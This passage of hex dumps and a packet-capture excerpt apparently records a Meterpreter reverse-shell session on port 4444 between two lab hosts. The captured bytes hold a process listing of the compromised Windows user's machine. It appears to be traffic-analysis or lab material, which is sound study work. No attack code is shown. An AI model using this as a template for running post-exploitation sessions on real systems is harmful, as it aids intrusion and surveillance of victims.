1150  65 00 00 00 00 7a 40 00 08 ff 00 00 00 0c 00 02   e....z@.........
1160  08 fc 00 00 0e cc 00 00 00 24 00 01 04 12 73 66   .........$....sf
1170  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1180  69 2d 75 73 75 61 72 69 6f 00 00 00 00 21 00 01   i-usuario....!..
1190  08 fd 41 70 70 6c 69 63 61 74 69 6f 6e 46 72 61   ..ApplicationFra
11a0  6d 65 48 6f 73 74 2e 65 78 65 00 00 00 00 21 00   meHost.exe....!.
11b0  01 08 fe 41 70 70 6c 69 63 61 74 69 6f 6e 46 72   ...ApplicationFr
11c0  61 6d 65 48 6f 73 74 2e 65 78 65 00 00 00 00 5a   ameHost.exe....Z
```

```
11d0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 1d b4   @...............
11e0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1d   ........N/A.....
11f0  00 01 08 fd 4f 66 66 69 63 65 43 6c 69 63 6b 54   ....OfficeClickT
1200  6f 52 75 6e 2e 65 78 65 00 00 00 00 1d 00 01 08   oRun.exe........
1210  fe 4f 66 66 69 63 65 43 6c 69 63 6b 54 6f 52 75   .OfficeClickToRu
1220  6e 2e 65 78 65 00 00 00 00 6a 40 00 08 ff 00 00   n.exe....j@.....
1230  00 0c 00 02 08 fc 00 00 04 98 00 00 00 24 00 01   .............$..
1240  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1250  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1260  00 19 00 01 08 fd 41 70 70 56 53 68 4e 6f 74 69   ......AppVShNoti
1270  66 79 2e 65 78 65 00 00 00 00 19 00 01 08 fe 41   fy.exe.........A
1280  70 70 56 53 68 4e 6f 74 69 66 79 2e 65 78 65 00   ppVShNotify.exe.
1290  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
12a0  00 00 1a 60 00 00 00 24 00 01 04 12 73 66 63 70   ...`...$....sfcp
12b0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
12c0  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
12d0  4f 4e 45 4e 4f 54 45 4d 2e 45 58 45 00 00 00 00   ONENOTEM.EXE....
12e0  15 00 01 08 fe 4f 4e 45 4e 4f 54 45 4d 2e 45 58   .....ONENOTEM.EX
12f0  45 00 00 00 00 54 40 00 08 ff 00 00 00 0c 00 02   E....T@.........
1300  08 fc 00 00 1a 34 00 00 00 0c 00 01 04 12 4e 2f   .....4........N/
1310  41 00 00 00 00 1a 00 01 08 fd 53 65 61 72 63 68   A.........Search
1320  49 6e 64 65 78 65 72 2e 65 78 65 00 00 00 00 1a   Indexer.exe.....
1330  00 01 08 fe 53 65 61 72 63 68 49 6e 64 65 78 65   ....SearchIndexe
1340  72 2e 65 78 65 00 00 00 00 64 40 00 08 ff 00 00   r.exe....d@.....
1350  00 0c 00 02 08 fc 00 00 1c bc 00 00 00 24 00 01   .............$..
1360  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1370  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1380  00 16 00 01 08 fd 53 6b 79 70 65 48 6f 73 74 2e   ......SkypeHost.
1390  65 78 65 00 00 00 00 16 00 01 08 fe 53 6b 79 70   exe.........Skyp
13a0  65 48 6f 73 74 2e 65 78 65 00 00 00 00 4a 40 00   eHost.exe....J@.
13b0  08 ff 00 00 00 0c 00 02 08 fc 00 00 18 60 00 00   .............`..
13c0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15 00 01   ......N/A.......
13d0  08 fd 4d 70 43 6d 64 52 75 6e 2e 65 78 65 00 00   ..MpCmdRun.exe..
13e0  00 00 15 00 01 08 fe 4d 70 43 6d 64 52 75 6e 2e   .......MpCmdRun.
13f0  65 78 65 00 00 00 00 66 40 00 08 ff 00 00 00 0c   exe....f@.......
1400  00 02 08 fc 00 00 0f 04 00 00 00 24 00 01 04 12   ...........$....
1410  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1420  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 17   emi-usuario.....
1430  00 01 08 fd 56 69 72 74 75 61 6c 42 6f 78 2e 65   ....VirtualBox.e
1440  78 65 00 00 00 00 17 00 01 08 fe 56 69 72 74 75   xe.........Virtu
1450  61 6c 42 6f 78 2e 65 78 65 00 00 00 00 60 40 00   alBox.exe....`@.
1460  08 ff 00 00 00 0c 00 02 08 fc 00 00 12 40 00 00   .............@..
1470  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1480  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1490  6f 00 00 00 00 14 00 01 08 fd 56 42 6f 78 53 56   o.........VBoxSV
14a0  43 2e 65 78 65 00 00 00 00 14 00 01 08 fe 56 42   C.exe.........VB
14b0  6f 78 53 56 43 2e 65 78 65 00 00 00 00 60 40 00   oxSVC.exe....`@.
14c0  08 ff 00 00 00 0c 00 02 08 fc 00 00 1b 94 00 00   ................
14d0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
14e0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
14f0  6f 00 00 00 00 14 00 01 08 fd 57 49 4e 57 4f 52   o.........WINWOR
1500  44 2e 45 58 45 00 00 00 00 14 00 01 08 fe 57 49   D.EXE.........WI
1510  4e 57 4f 52 44 2e 45 58 45 00 00 00 00 5e 40 00   NWORD.EXE....^@.
1520  08 ff 00 00 00 0c 00 02 08 fc 00 00 1d c0 00 00   ................
1530  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1540  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1550  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1560  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1570  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1580  00 00 00 0c 00 02 08 fc 00 00 10 5c 00 00 00 24   ...........\...$
1590  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
15a0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
15b0  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
15c0  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
15d0  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
15e0  00 0c 00 02 08 fc 00 00 1e 08 00 00 00 24 00 01   .............$..
15f0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1600  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1610  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1620  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1630  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1640  00 02 08 fc 00 00 1d 50 00 00 00 24 00 01 04 12   .......P...$....
1650  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1660  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1670  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1680  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1690  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
16a0  08 fc 00 00 16 5c 00 00 00 24 00 01 04 12 73 66   .....\...$....sf
16b0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
16c0  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
16d0  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
16e0  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
16f0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1700  00 00 1c 2c 00 00 00 24 00 01 04 12 73 66 63 70   ...,...$....sfcp
1710  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
```

```
1720  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1730  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1740  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1750  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1760  0d a8 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1770  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1780  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1790  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
17a0  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
17b0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 14 dc   @...............
17c0  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
17d0  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
17e0  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
17f0  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1800  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1810  08 ff 00 00 00 0c 00 02 08 fc 00 00 11 44 00 00   .............D..
1820  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1830  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1840  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1850  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1860  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1870  00 00 00 0c 00 02 08 fc 00 00 10 20 00 00 00 24   ........... ...$
1880  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
1890  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
18a0  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
18b0  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
18c0  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
18d0  00 0c 00 02 08 fc 00 00 0e 4c 00 00 00 24 00 01   .........L...$..
18e0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
18f0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1900  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1910  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1920  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1930  00 02 08 fc 00 00 0e 54 00 00 00 24 00 01 04 12   .......T...$....
1940  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1950  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1960  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1970  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1980  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1990  08 fc 00 00 19 f8 00 00 00 24 00 01 04 12 73 66   .........$....sf
19a0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
19b0  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
19c0  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
19d0  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
19e0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
19f0  00 00 19 10 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
1a00  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1a10  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1a20  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1a30  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1a40  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1a50  03 d4 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1a60  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1a70  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1a80  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1a90  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 48   .chrome.exe....H
1aa0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 17 bc   @...............
1ab0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
1ac0  00 01 08 fd 61 75 64 69 6f 64 67 2e 65 78 65 00   ....audiodg.exe.
1ad0  00 00 00 14 00 01 08 fe 61 75 64 69 6f 64 67 2e   ........audiodg.
1ae0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1af0  00 02 08 fc 00 00 1c 8c 00 00 00 24 00 01 04 12   ...........$....
1b00  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1b10  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1b20  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1b30  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1b40  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1b50  08 fc 00 00 1a 40 00 00 00 24 00 01 04 12 73 66   .....@...$....sf
1b60  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1b70  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
1b80  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
1b90  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
1ba0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1bb0  00 00 0b 3c 00 00 00 24 00 01 04 12 73 66 63 70   ...<...$....sfcp
1bc0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1bd0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1be0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1bf0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1c00  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1c10  1a d0 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1c20  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1c30  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1c40  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1c50  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
1c60  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 54   @..............T
```

```
1c70  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
1c80  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
1c90  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
1ca0  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1cb0  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1cc0  08 ff 00 00 00 0c 00 02 08 fc 00 00 0c 40 00 00   .............@..
1cd0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1ce0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1cf0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1d00  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1d10  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1d20  00 00 00 0c 00 02 08 fc 00 00 0b 90 00 00 00 24   ...............$
1d30  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
1d40  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
1d50  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
1d60  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
1d70  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
1d80  00 0c 00 02 08 fc 00 00 06 80 00 00 00 24 00 01   .............$..
1d90  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1da0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1db0  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1dc0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1dd0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1de0  00 02 08 fc 00 00 10 30 00 00 00 24 00 01 04 12   .......0...$....
1df0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1e00  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1e10  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1e20  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1e30  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1e40  08 fc 00 00 06 b0 00 00 00 24 00 01 04 12 73 66   .........$....sf
1e50  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1e60  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
1e70  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
1e80  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
1e90  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1ea0  00 00 14 c8 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
1eb0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1ec0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1ed0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1ee0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1ef0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1f00  1d b8 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1f10  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1f20  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1f30  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1f40  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
1f50  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 10 14   @...............
1f60  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
1f70  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
1f80  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
1f90  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1fa0  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1fb0  08 ff 00 00 00 0c 00 02 08 fc 00 00 18 ec 00 00   ................
1fc0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1fd0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1fe0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1ff0  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
2000  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
2010  00 00 00 0c 00 02 08 fc 00 00 1c 40 00 00 00 24   ...........@...$
2020  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
2030  69 5c 63 68 65 6d                                 i\chem
```

```
    198 3758.864158    192.168.1.41          192.168.1.42          MTRPROT  3622   50768 → 4444 [PSH, ACK] Seq=31899 Ack=10053
Win=2049 Len=3568
Frame 198: 3622 bytes on wire (28976 bits), 3622 bytes captured (28976 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 31899, Ack: 10053, Len: 3568
Meterpreter protocol, Command details here or in the tree below
    Command: 0x692d7573 [Command length]: 1764586867
    Type: 0x75617269 [Command type: Response]: 75617269
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  0e 18 0d ad 40 00 80 06 5b 8f c0 a8 01 29 c0 a8   ....@...[....)..
0020  01 2a c6 50 11 5c a3 79 19 f1 2e 7d 39 b8 50 18   .*.P.\.y...}9.P.
0030  08 01 91 ae 00 00 69 2d 75 73 75 61 72 69 6f 00   ......i-usuario.
0040  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
0050  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
0060  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
0070  00 0c 00 02 08 fc 00 00 0c 50 00 00 00 24 00 01   .........P...$..
0080  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
00a0  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
00b0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
00c0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
00d0  00 02 08 fc 00 00 1f c0 00 00 00 24 00 01 04 12   ...........$....
00e0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
00f0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
0100  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0110  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0120  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
0130  08 fc 00 00 15 08 00 00 00 24 00 01 04 12 73 66   .........$....sf
0140  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0150  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
0160  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
0170  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
0180  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
0190  00 00 17 20 00 00 00 24 00 01 04 12 73 66 63 70   ... ...$....sfcp
01a0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
01b0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
01c0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
01d0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
01e0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
01f0  1f 80 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
0200  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0210  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
0220  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
0230  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
0240  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0c b8   @...............
0250  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
0260  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
0270  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
0280  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
0290  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
02a0  08 ff 00 00 00 0c 00 02 08 fc 00 00 1b d8 00 00   ................
02b0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
02c0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
02d0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
02e0  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
02f0  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
0300  00 00 00 0c 00 02 08 fc 00 00 11 c4 00 00 00 24   ...............$
0310  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0320  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0330  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
0340  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
0350  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
0360  00 0c 00 02 08 fc 00 00 08 8c 00 00 00 24 00 01   .............$..
0370  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0380  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0390  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
03a0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
03b0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
03c0  00 02 08 fc 00 00 12 04 00 00 00 24 00 01 04 12   ...........$....
03d0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
03e0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
03f0  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
